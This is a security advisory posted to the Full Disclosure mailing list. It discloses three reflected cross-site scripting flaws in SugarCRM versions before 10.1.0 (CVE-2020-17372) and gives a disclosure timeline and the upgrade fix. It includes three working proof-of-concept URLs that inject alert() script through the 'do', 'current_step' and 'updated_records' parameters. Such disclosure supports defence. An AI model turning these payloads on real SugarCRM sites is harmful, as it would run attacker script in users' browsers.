SugarCRM < 10.1.0 Multiple Reflected Cross-Site Scripting Vulnerabilities

From: Egidio Romano <n0b0d13s () gmail com>
Date: Mon, 10 Aug 2020 16:30:09 +0200

SugarCRM < 10.1.0 Multiple Reflected Cross-Site Scripting Vulnerabilities

• Software Link:

https://www.sugarcrm.com/

• Affected Versions:

All versions prior to 10.1.0 (Q3 2020).

• Vulnerabilities Description:

1) User input passed through the “do” parameter when action is set to
“metadata” is not properly sanitized before being used to generate HTML
output. This can be exploited by malicious users to carry out Reflected
Cross-Site Scripting (XSS) attacks.

• Proof of Concept 1:

```
https://[HOST]/index.php?action=metadata&do=%27);alert(%27XSS%27)//
```

2) User input passed through the “current_step” parameter to the “Reports”
module is not properly sanitized before being used to generate HTML output.
This can be exploited by malicious users to carry out Reflected Cross-Site
Scripting (XSS) attacks.

• Proof of Concept 2:

```
https://
[HOST]/index.php?
module=Reports&action=ReportsWizard&save_report=on&current_step=%22%3E%3Cimg%20src=x%20onerror=alert(%22XSS%22)%3E
```

3) User input passed through the “updated_records” parameter is not
properly sanitized before being used to generate HTML output. This can be
exploited by malicious users to carry out Reflected Cross-Site Scripting
(XSS) attacks.

• Proof of Concept 3:

```
https://
[HOST]/index.php?updated_records=%3Cimg%20src=x%20onerror=alert(/XSS/)%3E
```

• Solution:

Upgrade to version 10.1.0 (Q3 2020) or later.

• Disclosure Timeline:

[05/02/2020] - Vendor notified
[06/02/2020] - Automoatic vendor response received
[26/03/2020] - Vendor contacted again; no response
[17/04/2020] - Vendor contacted again; no response
[18/06/2020] - Vendor nodified about a 180-day disclosure deadline
[03/08/2020] - After around 180 days the vendor silently fix the issue
[06/08/2020] - CVE number assigned
[10/08/2020] - Public disclosure

• CVE Reference:

The Common Vulnerabilities and Exposures project (cve.mitre.org)
has assigned the name CVE-2020-17372
<http://cve.mitre.org/cgi-bin/cvename.cgi?name=2020-17372> to these
vulnerabilities.

• Credits:

Vulnerabilities discovered by Egidio Romano.

____
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

Current thread:

- **SugarCRM < 10.1.0 Multiple Reflected Cross-Site Scripting Vulnerabilities** *Egidio Romano (Aug 11)*

Site Search

Nmap Security Scanner
Ref Guide
Install Guide
Docs
Download
Nmap OEM

Npcap packet capture
User's Guide
API docs
Download
Npcap OEM

Security Lists
Nmap Announce
Nmap Dev
Full Disclosure
Open Source Security
BreachExchange

Security Tools
Vuln scanners
Password audit
Web scanners
Wireless
Exploitation

About
About/Contact
Privacy
Advertising
Nmap Public Source License